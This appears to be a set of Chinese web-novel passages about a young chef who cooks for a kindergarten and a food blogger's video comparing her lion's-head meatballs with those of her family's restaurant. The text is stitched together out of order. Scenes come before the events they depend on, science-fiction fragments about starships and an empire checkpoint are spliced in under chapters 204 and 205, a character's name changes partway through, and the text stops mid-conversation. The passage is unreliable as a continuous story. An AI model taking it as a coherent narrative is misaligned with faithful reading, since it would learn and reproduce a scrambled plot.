袁国忠也强势吐槽：“还能剩下？我看那几个老师现在刮盘子底都成熟练工了。” 小园长抱歉地笑了一下，看了一眼菜单：“今天晚上是辣炒鱿鱼和菜花啊，挺好，我最爱吃辣的，不过给小朋友别做太辣啊。” “好嘞，”方羲表示自己知道了，“我会请袁哥帮忙把关菜量的，不会辣也不会不够吃的。” 系统给的A级技能调味加持下，她做的饭菜每天都是供不应求，大胆做就是了！ 辣炒鱿鱼这种菜，最重要的点就是调味汁，完全处于她的舒适区之内。 至于其他的火候把握，她在方家老老实实学了那么多年厨，没有系统也是能做好的。 她戴好口罩帽子，伸手握住菜刀：“好了！来，先洗鱿鱼，阿姨把菜花用盐水泡一下，袁哥您看着点手！” 整个厨房立刻就活动起来了。 小园长站在门口，看着整个厨房乐陶陶的景象，叹了口气。 要是这个方羲能一直留下来就好了。但是她用脚想，都知道这是不可能的。 这样手艺的大厨，来幼儿园临时打工，已经是匪夷所思的事情了。更别提长久做下去。 这几天，她也打听到了方家的事情，隐约明白，为什么方羲会来幼儿园打工。 小园长已经想好，等袁国忠手好了，她可以试着帮方羲介绍私家厨师的工作，做好了不比去什么大馆子差！ 正出神，她听见外面有个格外响亮的嗓子，感觉出去看。 正是今天来参加活动的家长之一，祝辰辰。 来参加活动之前，祝辰辰超级不乐意，错过了一个晚上的车队，她就要被甩下一个小段位。 不过，真的来参与活动之后，她感觉盖小房子还挺好玩的！ 她和另一个小朋友的妈妈一起，举起一根木头，稳稳地架在小房子上。 “上梁喽！” 旁边的小朋友，都拉开了提前准备好的礼花筒。 整个上梁过程都是严格按照仪式来的，一套仪式下来，小朋友们得到了民俗知识，大人们得到了适当参与感和一身汗。 祝辰辰有点累了，想起来昨天说要带妹妹去吃好吃的，凑过去问她：“况况啊，姐姐带你提前走好不好？带你去吃麦当劳！” 祝家全家都很注重口腹之欲，但祝妈妈也很注意营养与健康，在家轻易不让姐妹俩吃外卖，更别提汉堡这种垃圾食品了。 她带着点得意地等妹妹的欢呼，结果等来的确实妹妹的不情愿。 “姐……我还是想吃幼儿园的饭菜。” 祝辰辰震惊了。 怎么这孩子不爱吃外卖，反而爱吃幼儿园的大锅菜？ 她可不想在这陪着妹妹一起吃幼儿园的饭菜啊。 祝辰辰继续给妹妹许愿：“要不，一起去喝奶茶吃炸鸡？” 提到奶茶，妹妹的眼睛亮了亮，不过很快还是抵制了诱惑。 “姐！你陪我一起吃！” 幼儿园的饭菜真的很好吃的，她虽然很喜欢喝奶茶，但还是希望姐姐也能一起吃到这么好吃的饭菜。 祝辰辰败给这个妹妹了。 好不容易可以不用回家吃饭，结果居然还要留在幼儿园吃饭。 她愤怒地捏了一把妹妹的脸蛋：“不给你喝奶茶了！下次我自己点，自己喝完两大杯！” 祝况况也不是好惹的，立刻回击：“那下次你开门拿外卖，我也不帮你调虎离山了！” 祝妈妈严禁两人吃外卖，奶茶也算在里面，每次晚上都是祝况况在房间里喊妈妈过去，然后祝辰辰去偷偷拿回来。 “哇，你说谁是虎！祝况况你死定了！” 祝况况赶紧用小手捂住出言不慎的小嘴巴，正要跟姐姐耍赖，突然闻到一股香气。 “姐！饭好了！快去排队！” 胖乎乎的小姑娘有的是力气，用力拽着姐姐，往教室最前面的讲台前跑过去。 自从饭菜变好吃之后，晚上吃饭大家都开始抢排队了。 而且，平时只有十几个小朋友，今天因为做活动的关系，整个幼儿园的小朋友都开始一起抢晚饭啦。 熟门熟路的祝况况小朋友，抢到了第五名。 她拉着姐姐的手：“姐，等下打完了，别说话，咱们就坐那赶紧吃，吃完再来打第二波！第三波就不一定了……得看命。” “行行行。” 在祝辰辰眼里，妹妹已经被幼儿园洗脑了，难道这就是抢饭更香？ 她端着餐盘，看着可怜的妹妹，跟她许诺：“等会儿要是抢不到饭菜，姐姐的菜就分给你吃，好不好？” 这句话说完，祝辰辰感觉，自己好像按下了什么开关一样。 排队前后的小孩子们，都投来了羡慕的目光。 这什么绝世好姐姐啊！ 站在大家目光中心的祝辰辰，下意识有点怀疑起自己的判断了：难道这家幼儿园的饭菜真的很好吃吗？ 一股甜辣味的香气传来，祝辰辰用力抽了抽鼻子。 是辣炒鱿鱼！ 她牢牢地盯住了教室门口，看着几个工作人员鱼贯而入。 “姐，是不是闻着超香的！” 经历过多次夜市流动小贩诈骗的祝辰辰，对味道还是很有抵抗力的。 有很多小吃，闻着超级香，吃到嘴里那叫一个没味儿啊！ “闻着还行吧，不知道吃着怎么样。” 保温菜盒的盖子掀开，再次轮到打饭的王老师怨念地看了一眼，大声道：“大家注意排队次序，一个一个来，吃完了才可以再来打饭。” 大家嘴上嗯嗯，但注意力已经都放在了饭菜上面。 鲜红的汤汁里，卷起来的鱿鱼花和卷曲的鱿鱼须看着超级诱人。一边的炒菜花，看着清清爽爽，闻着却有一丝隐约的锅气焦香，让人食指大动。 前面的小朋友已经迅速地打好饭菜走人，祝辰辰看着妹妹打完，自己也打了一份。 王老师忍不住关心家长：“有没有不吃的？” “没有忌口，都打了吧。” 端起餐盘，祝辰辰注意到，妹妹已经坐在餐桌旁边开吃了。 她隐约有点理解妹妹了。 刚刚闻着飘过来的菜香，她还能控制住，但是这么近距离闻着看着，她也忍不住口水了！ 把餐盘放在妹妹对面，祝辰辰忍不住先夹了一口鱿鱼须。 她最爱吃鱿鱼须了！ 这个脆中又带着一丝韧性的口感，在嘴里咀嚼的时候，那个嘎吱嘎吱的口感，有谁能拒绝？ 吃完一块，她眼前一亮。 这鱿鱼须的味道和火候的结合，简直堪称完美！ 一般的鱿鱼须都是硬脆，可是这只鱿鱼须，却是脆中带韧，绝对没有一点硬。 再加上鱿鱼须本身带的吸盘，口感绝赞。 不光是口感，这个味道…… 祝辰辰没忍住，又去夹了一筷子鱿鱼花。 鱿鱼须完全不硬，那鱿鱼花会不会太面啊？ 她把鱿鱼花放在嘴里，刚刚咀嚼了一下，就呆住了。 那只鱿鱼花，在她的嘴里弹动了一下！ 弹动着的鱿鱼花肉质十分鲜美，花刀的纹路里也浸满了调味汁，每一口都是口感与味道的顶级结合。 因为是给小朋友做的菜，这辣味并不太突出，只是柔和地在舌尖上转了一圈，轻轻激发了味蕾，然后就泛出一股子鲜甜。 那辣味里，有辣椒粉、有辣酱，还有一点青椒与洋葱。辣度并不高，对于很多嗜辣者来说，几乎可以说是广东辣。 但是，这样馥郁灿烂的多重辣味结合起来，哪怕是祝辰辰这个火鸡面爱好者也挑剔不出来。 不够辣，但是超级完美！ 祝辰辰这才发现，这道辣炒鱿鱼中最绝的，并不是对鱿鱼的火候掌控，而是这完美到她提不出任何意见的调味汁。 “姐？你怎么才吃两块啊？” 祝况况一抬头，看见她姐甚至还没吃米饭，感觉天都塌下来了。 她都吃完一份了！ “哦哦对，”祝辰辰抬头一看，都有人去打第二轮了，“你先去，姐姐这就跟上！” 她可是祝况况的姐姐！在祝况况的传说还没流传开来之前，她也曾经是第七小学第一抢饭王！ “她人呢？” 444二次到访小木屋，发现四周忽然空旷了不少，方羲也不在，遂皱着眉头审问900。 “她前几天就下线了啊。”900弱弱地说，“应该已经出发去帝国了吧……你找一千零一干嘛？有事？可以先告诉我，几个月后我再见到她的时候，我会帮你转告她的。” 444眉眼一抽，大怒。 “两个废物！我不是说先等我一段时间吗？” “额，你没说过啊？”900摸摸脑袋，回忆了一下，试探性说，“我记忆力比你好太多了，如果你真的说过了，我怎么会忘记提醒一千零一？” 444沉默了一下。 一时之间，他不知道该承认自己确实没提醒过的错，还是该恼怒这个不属于千分之一的1001，走之前居然也不招呼他一声！ 这出发出得也太早了！ 900生怕这家伙往自己身上撒气，要知道现在方羲不在，他可不敢像上次那样随便造作，只好主动下台阶问：“等你干什么？有什么重要的事吗？” 900：“……” 900大惊失色！ 第204章 第204章 蓝星在变小。 方羲紧贴着窗户，微微瞪大眼睛，第一次站在上帝视角，看清蓝星的全貌。 深蓝的海洋、暗绿的森林、纯白的云层、棕色的大陆……此起彼伏地交织在一起，如果不是被一团黑色的浓雾包裹着，或许它现在更像一颗美丽的玻璃球。 冥冥之间，方羲脑海中忽而诞生了一个奇妙的猜想，说不定帝国人类也孕育于蓝星。 只是他们千万年前的祖先，没办法在这颗深受污染的星球继续居住下去，只能迁移到其他星球、其他星系、甚至是更遥远的地方…… 方羲忽然听见蓝星在歌唱。 最终，摄影师还是吃到了一块狮子头。 邱娴大为羡慕，连声夸奖煮男：“博主，你对摄影师可真好！” 煮男心里十分心痛，不过毕竟是朝夕相处的工作人员，吃独食也不太好。 “大家一起分享嘛……不是，不是，我是说我们俩之间分享，不抢你的。” 邱娴这才把捂住的手拿开，她可还剩下一点狮子头汤汁拌的米饭呢！ 而四人之中吃得最快的，居然是王女士，她才是第一个吃完这两只狮子头的。 吃完狮子头，王女士的姿态又恢复了平日里的优雅，开始慢慢品鉴其他几个清爽小菜。 对见过大世面的王女士来说，这几个小菜完全没有惊艳感。但是，在刚刚狮子头的那抹余韵里，几个清新小菜仿佛是山间雨后，淡淡地烘托着刚刚的回忆。 而旁边教室里面，吃饭的场面就比这边热闹多了。 除了剩下的十四只狮子头之外，方羲还做了三冷六热九个硬菜，正好凑齐了一桌十全十美。 幼儿园的教职工加起来，包括方羲在内，每个人都分到了一只狮子头，大家兴高采烈地吃着。 “自从羲羲来了，每天吃饭可省事儿多了。” “谁说不是呢，钱瑞都胖了！两斤！” 王老师夸张地比着两根手指。 “不过祝况况倒是瘦了，什么情况啊，”李老师吃着狮子头，格外沉醉，“唉，要是羲羲走了，以后就吃不到这么好吃的狮子头了。” “我妹瘦了也很正常啊，羲羲姐做饭做菜很讲究的！虽然好吃，但是低脂低糖，她肯定就瘦了呗！” 幼儿园老师们，或许是最接近孩子们的一群人。狮子头的特效，反而在她们身上表现得不那么明显。 方羲小口地吃着自己那只没滋没味的狮子头——她还是没有味觉，自然也感觉不到自己的风味特效。 不过，旁边的袁国忠反应就很大了。 四十几岁的黑红脸膛男人，眼泪从眼眶打着圈就下来了，大哥低着头不好意思地出门，从门外传来响亮的擦鼻子声音。 方羲正准备拿纸出去看一下，祝辰辰先一步出去了。 然后全屋的人都听见了大哥带着嚎啕的道歉。 “辰辰啊，我不该觉得你没出息的……你多有勇气啊，想吃东西能想到直接来后厨应聘，我要是跟你一样有勇气，现在已经有自己的理发店了！” 几个老师纷纷出去安慰袁国忠，方羲呆了一下，完全没想到，袁国忠的童年梦想居然是当个托尼？ 不过，想到每天下班之后，袁国忠还会额外用一些时间给头发抓好发型再下班……嗯，符合人设。 她勉强吃完一只没味道的狮子头，正要收拾碗筷，突然看见小园长领着一个小男孩进来了。 是钱瑞！ 钱瑞手里抱着一张巨大贺卡，带着点腼腆地走进来。 “方老师！这个送给你！” 方羲有点惊喜。 她打开贺卡的时候，几个老师不知道什么时候也悄悄地围过来了。 贺卡足足有一本书那么大，上面的图案不是画上去的，而是各种各样的漂亮材质拼贴上去的。 有她们抓的蝴蝶，用漂亮碎布头做的剪贴画，有漂亮糖纸折的小汽车。 打开贺卡，里面是各种各样的简笔画，夹杂着歪歪扭扭的文字，和几个拼音。 钱瑞努力地表达着：“方老师做的菜，真的好好吃！狮子头也好吃，会爆汁……煎蛋脆脆的……” 他好像是想把这些天吃到的每一道菜都描述一遍，难为的是，每一道菜他都记住了，至少还会给一句描述。 这个不喜欢吃饭的孩子，用最大的热情回报着她做的每一顿饭。 方羲自己尝不到味道，哪怕是金光闪闪的狮子头，吃在她嘴里也是味同嚼蜡。没有味道的情况下，甚至连口感都变得模糊了。 但是，在钱瑞的评价下，她仿佛大概能想象到自己的每一道菜都是什么味道。 连刚刚的狮子头，那种口感似乎也开始在她的唇齿之间跳动。 她童年最快乐的时候是什么呢？是跟小伙伴一起玩吗？是得到第一只布娃娃吗？ 方羲想起来，她第一次拿起菜刀的时候，她第一次被人抱着去用锅铲的时候，还有她做第一道菜的时候。 说是她自己做的也不尽然对，她当时才七岁，那道菜是在大人的帮助下做出来的。那道菜……是做给妈妈吃的酸梅排骨。 系统的叮叮声响起来了。 【纯真孩童们的赞美，是对厨师的至高奖励，触发奖励菜谱】 【奖励菜谱：酸梅排骨（S级）】 【还记得你第一次做的酸梅排骨吗？是担心生病的妈妈没胃口，是想要让她快点好起来的急迫期待】 【带着这种心情做出的酸梅排骨，可以让被厨师关心的食用者一直拥有好胃口】 【菜谱限定次数：每个月三次】 一直拥有好胃口？这么厉害？ 方羲顾不上沉浸在回忆里，忍不住问系统：“限定次数是怎么算的？一盘算一次？一盆也算一次？” 系统这次回答得倒是很快。 【中断不超过十分钟的烹饪就算一次】 “也就是说，这种限次的菜谱，只要我一直在做饭，这个特效就能一直延续下去？” 傲娇系统又不回复了，不过方羲现在也算摸清楚一些这系统了，如果自己的理解错了，它会跑出来纠正的。 看来，离开幼儿园之前，要做一次酸梅排骨了！ 她跟小园长已经确认过了，做完这周就可以离开幼儿园。 到时候换下个打工地点，还能领到系统的奖励！ 不过，其他知道方羲马上就要离职的人可就不那么开心了。其中就包括难得想留在一个地方多吃几次狮子头的煮男。 回到酒店后，煮男用最快的速度剪好了这期视频，发到了自己的账号上。 “你要把幼儿园的狮子头跟方氏酒楼的发在一起？” 摄影师有点震惊了。 作为一个风格一向以“客观”出名的自媒体博主，煮男一般只评价食物的烹饪和食材，很少做像其他博主一样踩一捧一的行为。 一开始，他还以为煮男会把方氏酒楼的狮子头和幼儿园的分开发，甚至中间可能会插几期其他视频。 “就这么发出去，是不是有点……” 作为多年合作伙伴，煮男自然明白摄影师的意思。 “第二次又去吃狮子头的时候，你也吃了吧？能吃出来换厨子了吧？” 摄影师惊讶了一下，然后努力回想。 在借孩子去幼儿园的这段时间，两个人又去了第二次方氏酒楼，一方面是想补拍一些素材，另一方面也是力求真实。 因为评论区点赞的机制，两个人去探店经常会碰见店家提前准备好的情况。 就像方氏酒楼这一次，第一次吃的狮子头是主厨方叔正做的，但是第二次就明显不是了。 “你是说，第二次就换厨子了？但是他家狮子头一份二百块钱啊？不就是因为方叔正做的才卖这个价吗？” “咱俩前后去吃了两次能吃出来，普通顾客可能逢年过节才吃那么一回，能吃出来吗？” 摄影师明白了，煮男这就是光明正大地要踩方氏酒楼一次。 他想起来之前小园长暗示的那几句话，方羲被这个方家封杀的情况…… “发！” 随着探店活动越来越多，“煮饭给你吃”的账号早已更名“煮男探店”，积累了一大批粉丝。 不过，最近这账号已经一周没更新了！上一条视频下面聚集了一大批如饥似渴的粉丝。 “不是说去方氏酒楼吃狮子头吗？怎么这么久？食物中毒了？” “煮男你还活着吗，你有本事装死、有本事开门啊！” 突然，在粉丝不断刷新的首页里，一下子窜出了两个视频！ 煮男这个账号一向以高质量著称，不过，高质量的同时，相应的数量就没那么达标了。 一次两个视频，这待遇简直过年都看不到啊！ 刚刚还在评论下面团建的周建明，立刻冲进了最新的两个视频里面。刚刚点开留言想发个“1”占领前排，就发现自己已经是几百名开外了。 反正抢不到前排了，他退出到主页看了一下两个视频都是什么，顺便准备点个外卖，配着两条视频下个饭。 “都是狮子头？” 周建明吃了一大惊。 这还是煮男这个账号史上第一次做这么旗帜鲜明的表态。 无数粉丝都兴奋了起来。 弹幕已经几乎冲破了屏幕！ 第一条视频的开头，煮男的第一句话就充满了火药味。 “这家很多人推荐的方氏酒楼，我们一共去了两次。第一次的老板很热情，菜也很热情，但第二次……” 煮男对第一次吃到的狮子头，还是给了比较客观的评价的。 “第一次吃的狮子头，筷子插进去就松散，肥瘦比三七，火候炖够了……” “第二次吃的狮子头……” 他甚至没解说，直接用手比给大家看，筷子上直愣愣地插着一颗大肉丸子…… “肥瘦比别说二八了，我怀疑甚至可能是一九。叫我怀疑这可能是五十年前的肉票年代，肥肉都让厨子拿家里去炼猪油了。” 由于没有直接证据，煮男在视频中从头到尾也没提换了厨子这句话，但是从头到尾每一句都在暗示这一句。 下面的评论吵作一团。 “我说怎么去了两次味儿不一样呢……原来真是换厨子了？” “不是，人家那么大个酒楼，老板亲自做的狮子头才两百块钱，还能天天蹲在那给你做啊？” “哎呦，不是我说，就一普通食客，你怎么还共情上人家大酒楼的老板啦？卖一份狮子头能给你提成五毛钱是不是？” “咱们市就这么一家出名的酒楼……没必要这么苛责，回头给人外地游客印象不好。” “不是，到底是我们苛责让外地游客印象不好，还是他换厨子让外地游客印象不好啊？” 周佳明也在评论区到处点赞，看得那叫一个热闹。 不过，他又想起来另一个狮子头的视频，一起发出来，很明显的捧一踩一。 难不成是外地别的酒楼？ 周佳明的观感有点复杂起来，他点开了煮男主页最新的视频，先暂停看了看评论区。 与上一条视频的评论区截然不同，这边的评论区，洋溢着一股熟悉的下饭氛围。 “话不多说了，谁借我一个孩子！” “不是，幼儿园菜单在哪能看啊？” “你们觉得煮男说的，吃到厨师的热爱是真的吗？真能吃到这感觉？是修辞吧……” 对味了！只不过，叫他有点疑惑的是，王女士的那份狮子头为什么只吃了一口？ 不过，想到对方年过四十仍然纤细的身材，方一金在跟亲爹汇报的时候，理所当然地觉得对方在减肥。 “对，都吃得挺干净的，没剩下什么菜。就是总来的那个王总，估摸着在减肥，饭菜都只动了一点。” 他爹点了点头，想了想，教儿子的事情也该提上日程了。 “行了，等这段时间忙完，你就进后厨来跟我学狮子头吧。” “谢谢爸！” 方一金有点激动，尤其是想到当年牢牢压在他头上的方羲。 他还以为这辈子都得被那个丫头片子压着呢。 他嘿嘿笑着，没忍住又问了一句：“爸，曾爷爷真能一直压着方羲不让她进别的酒楼打工？” “当然，咱们方家的能量，别说她现在只是个小丫头，就算她厨艺跟你大伯一样上了名厨录，要压她也是轻轻松松的。” “你大伯的口风已经松了，咱家给米琪林投了这么多年的钱，回头给咱家酒楼上个星……” 方一金有点兴奋。 他离方家的决策圈很远，并不知道家里居然还有这么大的势力。 “咱们方家这么厉害吗？” 方父轻哼一声，斜了他一眼：“你以为开酒楼就只是做饭而已吗？你曾爷爷的名言没听过，老百姓是没有自己品味的！” 他们方家，从食材到调味料，都有自己家的势力。现在更是伸手扶持了国外的美食评审。 想到《名厨录》那帮人要打造什么华夏本土的评奖体系，他就想笑。 方父伸伸手，用力拍了一把方一金：“你要记住，背靠大树好乘凉。方羲要是没那么傲气，那天求饶了，现在可能还有她一碗饭吃。” “但现在，你曾爷爷是拿她来杀鸡儆猴了，你可千万不能在你曾爷爷面前学她一样。” “开饭店，味道不是第一的，做生意才是。” 方父拿起手机，又想到今天的探店博主，吩咐方一金。 “等那个博主的视频发出来，你给投点流，现在这生意啊，就得靠推广。我这几天去看看你大伯，商量商量米琪林的事。” 方一金傻眼：“推广生效的时候，一定会有很多人来尝狮子头吧，您不亲自掌厨了吗？” 方父嗤之以鼻：“他们尝得出来什么？你师兄做得也差不多了，回头叫你妈把他合同重新签一签，工资加个一千，违约金签高点。” 不过，让方家有点失望，煮男的探店视频迟迟没有出现。 煮男自己也有点失望。 他选好了幼儿园的“探店”选题，想着到时候跟方氏酒楼的狮子头一起推出。 但是，在新选题的实施上，他碰见了一个更致命的问题：幼儿园，不是付钱就能进的饭店。 与他一样发愁的，还有小园长。 在上次参观会上，小园长收获了足够多的家长意向，她十分满意。 启明星幼儿园的体量在这放着，这么多家长意向，足够让她未来几年都不缺生源了。 只不过，或许是狮子头太好吃了，诞生了许多新的问题。 比方说，大量的参观预约。 李老师有点为难地给小园长看列得长长的参观预约：“小园长，您看看，咱们幼儿园周三有46份参观预约……” 周佳明迫不及待地打开了自己的外卖——一份狮子头套餐，他把手机摆正了，点开这条最新的视频。 煮男那带着点磁性又经历过风霜的声音响了起来。 “在吃到这份狮子头之前，有人告诉我本市最好吃的狮子头在方氏酒楼。我当时是同意的。” “但吃到这份狮子头之后，我只能说，这句话对了一半。” “本市、甚至可以说我平生吃到的狮子头前三，在本市方氏酒楼——后门的这家幼儿园食堂里。” 幼儿园食堂？ 周佳明回忆了一下，煮男可是去吃过致味斋的！当时的探店视频里，桌子上那份狮子头可是当代名厨方伯端做的！ 有噱头，有对比，这条视频迅速冲上了当天的热榜！ 不光是普通食客看到了这条视频里煮男的评语，连方氏酒楼的老板，方一金的亲爹方叔正也看到了。 啪—— 手机被摔碎在地上，方叔正的愤怒的声音甚至直接破音。 “这视频一定是收钱了！怎么可能！” 他一定得找人重新测评一下，他的狮子头，绝不可能不如方羲那个没味觉的小丫头做的！ 本来还犯着失忆老毛病的方羲，瞬间被这个身份证给吓清醒了。 她冥思苦想，隐约想起了什么…… 900曾说，他们刚到帝国的那段时间，碍于没有公民身份证，被判定为一群黑户，只能在地下黑市生活…… 之前和秦淮月聊天的话，她也被问过是不是没有身份证…… 方羲满脸绝望。 谁能告诉她，现在上哪去才能变一张身份证出来？ “驾驶员？您好？” 审查员还在惴惴不安地等待回应。 同时由于方羲一直没吭声，空间站的轨道逐渐挤满了排队的星航。甚至因为小朴素刚刚驱赶插队战舰的那一出，所有人的注意力都集中到她们身上。 现在进也不是，退也不是。 方羲彻底呆滞。 一千零二发出怪叫：“哈哈，完辣！” 第205章 第205章 最后还是N1234星球长以“远程虚拟投影”的方式匆匆赶来，解了这场围。 他熟练地挤开死板的审查员，怒骂他们不识时务，还不速速给伟大的阿尔法号军用星航通行！然后一转头，那原先狰狞愤怒的胖乎乎的脸上，愣是画风突变，挤出一个极其真诚的笑容，相当恭敬友善道：“非常抱歉，大人，这些愣头青不懂事，冒犯了您……” 星球长谨慎地观察着这艘阿尔法号军用星航。 他能当上星球长，多少也是个见过世面的人——这真的是货真价实的军用星航，还是特别顶级的那一档！ 就是设计师可能脑子有坑，非要把外观做成这副鬼样，也难为那些同样见识多广的审查员们一开始没看出来…… 【滴——】 【审核通过！】 方羲见不用出示身份证也能入境，瞬间大喜！ 同时对这个星球长的好感噌噌噌涨了十点！ 方叔正大发了一通脾气，摔完了自己的手机，又去抢方一金的手机，怒气冲冲找到煮男的视频看起来。 方一金有点哆嗦，他老子脾气一向不好。 但，他的手机可是新买的苹果！ “爸，你别摔了……” 方叔正听见这句话，气得心脏病差点出来：“这时候你最怕的居然是我摔你手机？这视频叫他发出来，咱们老方家的脸往哪放？咱们酒楼的生意怎么办？” 他拿着儿子的手机，正要给几个评论点赞，突然一个电话打了进来。 手机上显示的名字是“方伯端”。 方叔正手一哆嗦，差点把手机扔地上，他手忙脚乱地把手机给儿子：“你接！问问你大伯什么事儿！” 方一金愁眉苦脸地接过手机。 方伯端是方家这一辈的执牛耳者，从小天赋超群，脾气和厨艺一样高，骂天骂地骂空气。他爹怕，他也怕啊！ 他小心翼翼地接了电话，听着对面传来大伯阴阳怪气的声音。 “你爹又把手机摔了？做狮子头做不过一个没正式上灶的小废物，就会自己在家摔手机？让他把自个脑袋塞锅里炖俩小时，看看筷子能不能扎起来。” “愣着干什么呢，把电话给你爹啊！” 方一金小心翼翼地把手机递给亲爹，看着亲爹对着电话也下意识地弯腰带笑。 “是是……我这就去发视频道歉……” “对……咱家厨房在地下室啊……没有没有，大哥我不是顶嘴，是，我这就装个临时厨房每天当着顾客的面做狮子头……” “对对，我也准备再找一次测评，啊？我去跟她当面比试？太掉价了吧……” “没有，我……对，我是废物，废物跟废物比不掉价……” “好，好，大哥我会办好的，对……” 方叔正听着突然断线的电话，看着儿子在一边看得高兴，气得一脚踹过去。 他这个大哥的话，他一句都不敢不听。方伯端让他找两个评委，再比一场，评委还得真实权威…… 方一金在一边小心翼翼地问：“爸，你真要去跟方羲比啊？” “你大伯都发话了……他说消息暂时被他按下了，传不到老爷子那边去，不然这酒楼可能就要换个人来了。” 方一金看亲爹翻找名片夹，还是忍不住问了出来：“您真的能赢啊？” 话刚说完，他就挨了一脚。 “放什么屁呢！方羲才多大？在方家都没正式上灶，她会做个屁的狮子头，菜谱说不定还是偷的。你爹我可是老爷子亲自教的！” 能不能赢这个问题，方叔正根本没考虑过。他又给了儿子一脚，抽出一张名片，打了过去。 虽然方家选择扶持的美食评级体系是国外来的米其琳，但那边早就被方家喂得胃口大开，国内民众的认同度也不是特别高。 要说权威，还得找《谈吃》杂志社下属的名厨录。 他现在打的电话，就是《谈吃》杂志社负责本区域名厨录的分管食评家。 要不是他有方家的面子撑着，连这张名片都拿不到。 “是王钊山前辈吗？我是小方啊，方叔正！” 王钊山一时没想起来这人是谁。 他正坐在办公室里，今天下面的实习记者来汇报，说是找到了一位足够上名厨录的新厨师。 更难得的是，这位新厨师还年龄非常小。 只是有点难办，对方在一所幼儿园里打工，而且还快离职了。听这个叫邱娴的实习记者说，对方也没有去饭店就职的打算。 他怎么去幼儿园吃食堂？他今年都四十三了！ 王钊山给手机开了免提，邱娴一听见方叔正的名字，嗖地就窜了过来。 她用尽了自己抢票练出来的手速，迅速在手机上打了一行字给王钊山看。 “方叔正就是方氏酒楼的主厨，他们家的狮子头被拿来跟我说的厨师对比，惨败！” 王钊山点点头，招手示意邱娴坐回去，继续听对面的方叔正小心翼翼自我介绍的声音。 “我想起来了，你说吧。” 方叔正的声音带着点谄媚：“最近我们酒店被人雇水军搞了……我琢磨着，想跟那个抹黑我们的厨子比试一场狮子头，但是怕再被人踩，想找个公平点的评委，这不就想到您了嘛。” “要说公平公正，咱名厨录绝对是这个！没人敢多说一句的！” 王钊山有点嘲讽地笑了笑：“你们方家不是跟米其琳那边打得火热吗？不是号称中餐要走向世界，就要接受国际标准？连八大菜系都不要了，要重新打造新中餐？不找那边做评委？” 方叔正一时有点噎住，在心里暗骂了两句老古董，这才继续：“但是，咱们自己国内，不还是你们最权威吗，哈哈。” 王钊山也见好就收，方家现在各行各业都经营得风生水起，这方叔正甚至不在核心决策圈里，他说多了也没用。 话锋一转，他说起狮子头来：“你的狮子头我没吃过，但是你大哥的我吃过，确实是人间至味。你们要比试的话，我倒是有口福了。” “我肯定去啊，就算是为了尝尝你的狮子头吧。” “行，到时候通知我时间。” 邱娴在一边听得直着急，她按着王钊山的办公桌，人都快凑上去了。 直听到王钊山挂了电话，跟对方约好了时间，她这才着急道：“您怎么能答应他呢！方羲做得真的很棒的！绝对比他强，您不能帮人……” “我什么时候答应帮他了？” 王钊山慢条斯理地把小姑娘的头按回去：“我不给他点勇气，让他去找你说的方羲比试，你告诉我，咱俩怎么混进幼儿园吃狮子头？让你去上全托班？” 邱娴忍不住笑了，不好意思地伸手挠了挠头。 “您说得对，到时候要不要多找几个人去？那狮子头真的很棒的！上名厨录得请总监去尝吧？请她老人家一起去？” 王钊山白了一眼这会儿笑得傻乎乎的小姑娘：“我都没尝过，怎么让总监来吃？我尝过再说，要是不好吃，你也别实习了，趁早滚蛋。” 他为了吃这个幼儿园的狮子头，可是豁出去拍了方叔正的马屁了！ “绝对不会的！” 邱娴对方羲的狮子头异常信任。幼儿园？ 做自媒体这么多年，煮男算是个心态非常稳定的主播了。 他手上的狮子头差点掉下去，稳了稳情绪才问：“是……那种贵族幼儿园？” 没听说过啊，就算是京市的幼儿园，顶多也是在营养搭配上下功夫，多请些营养师也就罢了。 搞个顶级大厨去做狮子头？这赛道是不是有点诡异？ “不是，就是个普通的幼儿园。” 既然已经说出来了，王女士也不藏着掖着：“我也是非常偶然才吃到一次幼儿园的狮子头，不论味道还是口感，都是上上之选。” 说完，王女士还是没忍住，用勺子舀了一口面前的狮子头。 平庸。 这是她对方氏酒楼狮子头的最新评价。 煮男仔细地观察了王女士吃完狮子头的反应，看着她皱眉入口、摇头咀嚼、叹气吞咽。 这狮子头确实是比不上至味斋，但同属方家人掌厨，也不至于让人吃得这么难受。 难不成那幼儿园的狮子头真的这么好吃？ 煮男心动了！ 在他的身份中，自媒体博主是优于探店人这一层的。 幼儿园虽然算不上什么店铺，但是这种天然具备噱头的题材，他想想就知道发出去得有多受欢迎了。 “我们来了方氏酒楼，但整个X市最好吃的狮子头在酒楼后门的这家幼儿园。” “你永远比不过这样一个幼童，因为她的幼儿园里蛰伏着全市最强的大厨。” 这样天然的噱头，让煮男甚至有点激动，连录制素材都变得无味起来了。 他慢条斯理地吃着，方一金端着赠菜上来了。 按理来说应该他爹亲自过来，不过方大厨也在这里掌厨了几十年，脸上早就堆不出笑容了。 “煮男！我可是你的粉丝！看你探店看了好几年了！” 轻轻把菜放下，方一金感觉拿出本子请对方签名。 他其实不是什么粉丝，只是试图拉进一下关系。 煮男笑得很官方，迅速给他签了个名，然后婉拒了后续的沟通：“这顿饭吃得真的非常开心，不过我们还在录素材，感谢店家给了这么好的拍摄环境。” “应该的，都是应该的……” 虽然隐约感觉有点不对劲，但方一金还是没想什么。 毕竟，方氏酒楼在这个小城市可以说是打遍天下无敌手。 如果不是因为方氏祖宅在这里，这样的小城市，甚至可能不会有方氏酒楼这个档次的饭店。 而且，这次的狮子头实打实是他爸亲手做的，甚至连剁肉馅的过程都没有假手旁人。 他在外边等了一会儿，待到煮男一行人结束了录制，又亲自送对方出去。 不过…… “要是您尝了好吃，后面请总监来的时候找不到人了怎么办？” 王钊山挥挥手：“怎么可能？一个厨师，还能一直在这种地方打工？不早晚得去饭店吗？不管她去什么饭店，我去吃饭还能把我撵出来？” 另一边挂掉电话的方叔正完全不知道这边的对话，被王钊山恭维了几句，他心里头更放心了。 过去，有什么厨艺比赛，那可是完全轮不上他这个方家老三上场。上有他大哥方伯端，下面还有几个争气的侄子侄女，甚至还有隔房的堂兄弟们。 现在，虽然他跟亲侄女比试有点以大欺小，但好歹也是个正式比赛不是？ 挂掉电话，他看了一边的方一金，把儿子的手机卡抠出来，换上自己的。 “一会儿给你三千块钱，你再去买个新手机，顺便去跟方羲那边约一下，跟她比试一下狮子头。” 方一金心疼得快要裂开了，他那手机三千可买不来！ 不过，亲爹发话，他也只能吃亏。 方叔正换上儿子的手机，前后看看，往椅子上一瘫，得意道：“你还担心你老子赢不了？你老子说要比赛，连那王钊山都屁颠屁颠地来，就为了尝你老子一口狮子头！” “我能来接你吗？” “这个嘛……” 